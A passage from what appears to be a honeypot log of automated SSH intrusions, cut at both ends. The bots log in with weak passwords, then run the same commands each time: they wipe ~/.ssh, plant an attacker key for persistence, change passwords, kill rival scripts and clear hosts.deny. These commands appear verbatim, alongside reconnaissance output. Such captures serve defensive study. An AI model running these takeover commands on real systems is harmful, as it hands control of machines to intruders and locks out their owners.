AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:34:13.595699+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:34:15.128104+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:34:15.198239+00:00","kind":"input","latency_ms":null,"data":"echo -e \"121212\\ngvn65lQLI0do\\ngvn65lQLI0do\"|passwd|bash"},{"seq":6,"at":"2026-08-26T22:34:15.265815+00:00","kind":"input","latency_ms":null,"data":"echo \"121212\\ngvn65lQLI0do\\ngvn65lQLI0do\\n\"|passwd"},{"seq":7,"at":"2026-08-26T22:34:15.336665+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:34:16.318676+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T22:34:16.408387+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-26T22:34:17.385092+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-26T22:34:17.457432+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-26T22:34:18.271510+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T22:34:18.345129+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T22:34:20.493535+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T22:34:20.567967+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T22:34:21.601640+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T22:34:21.672665+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T22:34:22.757297+00:00","kind":"output","latency_ms":null,"data":" 22:34:22 up 6 days, 19:24, 0 user, load average: 0.29, 0.23, 0.3\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T22:34:22.824906+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T22:34:24.190293+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T22:34:24.266380+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T22:34:25.401399+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T22:34:25.478562+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T22:34:26.943490+00:00","kind":"output","latency_ms":null,"data":"top - 22:34:26 up 6 days, 19:24, 0 user, load average: 0.29, 0.23, 0.3\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T22:34:27.012809+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T22:34:27.856148+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T22:34:27.925967+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T22:34:29.956853+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T22:34:30.025148+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T22:34:31.868747+00:00","kind":"output","latency_ms":null,"data":"user"},{"seq":31,"at":"2026-08-26T22:34:31.941370+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T22:34:33.430163+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T22:34:33.498952+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T22:34:34.531040+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user","password":"121212","method":"password","accepted":true,"tier":"other"}]} {"id":"8889b794-3420-499b-ba77-e0fca6219a78","name":"bitter-vernal-plover","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":51584,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:32:36.517304+00:00","ended_at":"2026-08-26T22:32:37.388096+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T22:32:12.670691+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:32:12.736587+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:32:14.862896+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:32:16.199065+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:32:16.265725+00:00","kind":"input","latency_ms":null,"data":"echo \"root:CSGPol6lW6LU\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T22:32:16.332853+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T22:32:16.398789+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:32:18.028284+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T22:32:18.069965+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T22:32:18.138008+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T22:32:19.453514+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T22:32:19.522180+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T22:32:20.948642+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T22:32:21.018836+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T22:32:21.905136+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T22:32:21.971743+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T22:32:24.058910+00:00","kind":"output","latency_ms":null,"data":" 22:32:24 up 6 days, 19:22, 0 user, load average: 0.13, 0.11, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T22:32:24.127379+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T22:32:25.741628+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T22:32:25.810830+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T22:32:26.675005+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T22:32:26.745806+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T22:32:28.679462+00:00","kind":"output","latency_ms":null,"data":"top - 22:32:28 up 6 days, 19:22, 0 user, load average: 0.13, 0.11, 0.13\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T22:32:28.747791+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T22:32:30.498202+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T22:32:30.564535+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T22:32:32.020742+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T22:32:32.093356+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T22:32:34.209897+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T22:32:34.244463+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T22:32:36.439747+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T22:32:36.520298+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T22:32:37.379108+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"adm12345","method":"password","accepted":true,"tier":"other"}]} {"id":"712ad059-f7ef-4421-9f20-094279b3228f","name":"fringed-snowy-nuthatch","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":44534,"username":"mcserver","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":67,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:30:30.060127+00:00","ended_at":"2026-08-26T22:30:32.225340+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2259,"events":[{"seq":1,"at":"2026-08-26T22:30:16.848863+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:30:16.915096+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:30:19.075637+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:30:19.665086+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:30:19.732367+00:00","kind":"input","latency_ms":null,"data":"echo -e \"mcserver\\n2sRgwnPKiEGS\\n2sRgwnPKiEGS\"|passwd|bash"},{"seq":6,"at":"2026-08-26T22:30:19.797788+00:00","kind":"input","latency_ms":null,"data":"echo \"mcserver\\n2sRgwnPKiEGS\\n2sRgwnPKiEGS\\n\"|passwd"},{"seq":7,"at":"2026-08-26T22:30:19.862024+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:30:20.328920+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T22:30:20.396183+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T22:30:21.301922+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T22:30:21.371370+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T22:30:22.822761+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T22:30:22.892109+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T22:30:23.172672+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T22:30:23.238676+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T22:30:23.961113+00:00","kind":"output","latency_ms":null,"data":" 22:30:23 up 6 days, 19:20, 0 user, load average: 0.11, 0.11, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T22:30:24.029149+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T22:30:24.865962+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T22:30:24.933499+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T22:30:25.211310+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T22:30:25.281173+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T22:30:26.038146+00:00","kind":"output","latency_ms":null,"data":"top - 22:30:26 up 6 days, 19:20, 0 user, load average: 0.11, 0.11, 0.13\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T22:30:26.106280+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T22:30:26.739171+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T22:30:26.807645+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T22:30:27.134277+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T22:30:27.201451+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T22:30:28.273006+00:00","kind":"output","latency_ms":null,"data":"mcserver"},{"seq":29,"at":"2026-08-26T22:30:28.343456+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T22:30:29.991249+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T22:30:30.061149+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T22:30:32.215118+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"mcserver","password":"mcserver","method":"password","accepted":true,"tier":"other"}]} {"id":"f13ddc6a-8276-4281-b3e3-e91d11f18595","name":"fringed-canny-pheasant","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":48524,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:28:36.867877+00:00","ended_at":"2026-08-26T22:28:38.389448+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-26T22:28:23.615740+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:28:23.684132+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:28:26.392284+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:28:27.146755+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:28:27.214616+00:00","kind":"input","latency_ms":null,"data":"echo \"root:W9s20VHwcug3\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T22:28:27.283928+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T22:28:27.351709+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:28:28.006103+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T22:28:28.074604+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T22:28:28.873918+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T22:28:28.944952+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T22:28:30.345145+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T22:28:30.414637+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T22:28:31.183043+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T22:28:31.251653+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T22:28:32.111677+00:00","kind":"output","latency_ms":null,"data":" 22:28:32 up 6 days, 19:18, 0 user, load average: 0.2, 0.17, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T22:28:32.180474+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T22:28:32.656303+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T22:28:32.723784+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T22:28:33.170075+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T22:28:33.239285+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T22:28:33.616147+00:00","kind":"output","latency_ms":null,"data":"top - 22:28:33 up 6 days, 19:18, 0 user, load average: 0.2, 0.17, 0.22\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T22:28:33.686407+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T22:28:34.085131+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T22:28:34.152642+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T22:28:35.037900+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T22:28:35.109177+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T22:28:35.685401+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T22:28:35.753519+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T22:28:36.802007+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T22:28:36.868670+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T22:28:38.376803+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Welcome2025","method":"password","accepted":true,"tier":"other"}]} {"id":"7aa65e49-1024-4c9f-97af-154317883f7e","name":"sooty-pewter-pochard","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":49162,"username":"minecraft","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":68,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:26:36.605992+00:00","ended_at":"2026-08-26T22:26:38.807153+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2260,"events":[{"seq":1,"at":"2026-08-26T22:26:23.387072+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:26:23.455185+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:26:26.891829+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:26:27.717590+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:26:27.786447+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456789\\n2Zx67FoV9sY0\\n2Zx67FoV9sY0\"|passwd|bash"},{"seq":6,"at":"2026-08-26T22:26:27.851472+00:00","kind":"input","latency_ms":null,"data":"echo \"123456789\\n2Zx67FoV9sY0\\n2Zx67FoV9sY0\\n\"|passwd"},{"seq":7,"at":"2026-08-26T22:26:27.920765+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:26:28.221008+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T22:26:28.289895+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, 